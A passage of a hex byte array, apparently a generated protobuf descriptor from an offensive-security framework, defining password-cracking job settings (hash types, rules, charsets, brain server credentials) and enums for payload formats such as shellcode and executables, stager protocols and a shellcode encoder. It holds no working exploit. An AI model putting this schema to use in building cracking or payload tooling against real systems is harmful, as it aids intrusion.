0x18, 0x41, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, + 0x6e, 0x66, 0x6f, 0x12, 0x2c, 0x0a, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, + 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x18, 0x43, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, + 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, + 0x41, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, + 0x72, 0x65, 0x48, 0x69, 0x70, 0x18, 0x44, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x42, 0x61, 0x63, + 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x12, 0x2e, 0x0a, + 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, + 0x74, 0x61, 0x6c, 0x18, 0x45, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, + 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x30, 0x0a, + 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, + 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x46, 0x20, 0x01, 0x28, 0x08, 0x52, 0x13, 0x42, 0x61, 0x63, 0x6b, + 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x12, + 0x20, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x47, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, + 0x6f, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, + 0x63, 0x65, 0x73, 0x18, 0x48, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, + 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x70, 0x65, + 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x18, 0x49, + 0x20, 0x03, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, + 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, + 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, + 0x18, 0x4a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, + 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x34, 0x0a, + 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, + 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x4b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4d, 0x75, + 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, + 0x6c, 0x65, 0x64, 0x12, 0x48, 0x0a, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, + 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x4c, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, + 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x0f, 0x57, 0x6f, + 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x20, 0x0a, + 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x18, 0x4d, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x12, + 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x18, 0x4e, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, + 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, + 0x64, 0x73, 0x18, 0x4f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, + 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, + 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x18, 0x50, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, + 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, + 0x61, 0x6d, 0x70, 0x18, 0x51, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, + 0x61, 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, + 0x62, 0x6c, 0x65, 0x18, 0x52, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, + 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, + 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x53, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, + 0x1e, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x18, 0x54, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x12, + 0x12, 0x0a, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x18, 0x55, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x53, + 0x6b, 0x69, 0x70, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x56, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4b, 0x65, 0x79, + 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x57, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4b, 0x65, 0x79, + 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, + 0x6c, 0x65, 0x18, 0x5a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, + 0x69, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, + 0x75, 0x6c, 0x65, 0x73, 0x18, 0x5b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x47, 0x65, 0x6e, 0x65, + 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, + 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, + 0x18, 0x5c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, + 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x47, + 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, + 0x61, 0x78, 0x18, 0x5d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, + 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x12, 0x32, 0x0a, + 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, + 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x18, 0x5e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x14, 0x47, 0x65, 0x6e, + 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, + 0x6c, 0x12, 0x2c, 0x0a, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, + 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x18, 0x5f, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x12, + 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, + 0x31, 0x18, 0x60, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, + 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, + 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x18, 0x61, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x12, + 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, + 0x33, 0x18, 0x62, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, + 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, + 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x18, 0x63, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x12, + 0x1a, 0x0a, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x18, 0x64, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x49, + 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, + 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, + 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x18, 0x66, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x12, 0x22, 0x0a, + 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x18, 0x67, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, + 0x78, 0x12, 0x26, 0x0a, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, + 0x74, 0x65, 0x73, 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, + 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, + 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, + 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x12, 0x2a, 0x0a, 0x10, 0x42, + 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, + 0x6a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, + 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x6b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, + 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x72, 0x61, + 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, + 0x18, 0x6c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x42, + 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x6d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, + 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, + 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x6e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x72, + 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, + 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x6f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, + 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, + 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x70, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x34, 0x0a, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x71, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, + 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x22, 0x8d, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, + 0x69, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, + 0x69, 0x72, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, + 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, + 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, + 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, + 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, + 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0x87, 0x01, 0x0a, 0x0a, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x29, 0x0a, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x05, 0x46, 0x69, 0x6c, 0x65, + 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, + 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x43, 0x75, 0x72, + 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x12, 0x22, 0x0a, + 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, + 0x65, 0x22, 0xfb, 0x02, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, + 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, + 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x22, 0x0a, + 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, + 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, + 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, + 0x65, 0x12, 0x19, 0x0a, 0x08, 0x53, 0x68, 0x61, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x68, 0x61, 0x32, 0x32, 0x35, 0x36, 0x12, 0x2b, 0x0a, 0x04, + 0x54, 0x79, 0x70, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, + 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x73, 0x43, + 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x12, 0x20, 0x0a, + 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, + 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0a, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x30, 0x0a, + 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, + 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x52, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x22, + 0x64, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, + 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, + 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, + 0x65, 0x49, 0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x01, + 0x4e, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x04, 0x44, 0x61, 0x74, 0x61, 0x2a, 0x5b, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, + 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, + 0x4c, 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, + 0x44, 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, + 0x4c, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, + 0x03, 0x12, 0x0f, 0x0a, 0x0b, 0x54, 0x48, 0x49, 0x52, 0x44, 0x5f, 0x50, 0x41, 0x52, 0x54, 0x59, + 0x10, 0x04, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, + 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, + 0x48, 0x54, 0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, + 0x02, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, + 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, + 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, + 0x2a, 0x30, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x72, 0x12, 0x08, 0x0a, 0x04, 0x4e, 0x4f, 0x4e, 0x45, 0x10, 0x00, 0x12, 0x12, + 0x0a, 0x0e, 0x53, 0x48, 0x49, 0x4b, 0x41, 0x54, 0x41, 0x5f, 0x47, 0x41, 0x5f, 0x4e, 0x41, 0x49, + 0x10, 0x01, 0x2a, 0x98, 0x13, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 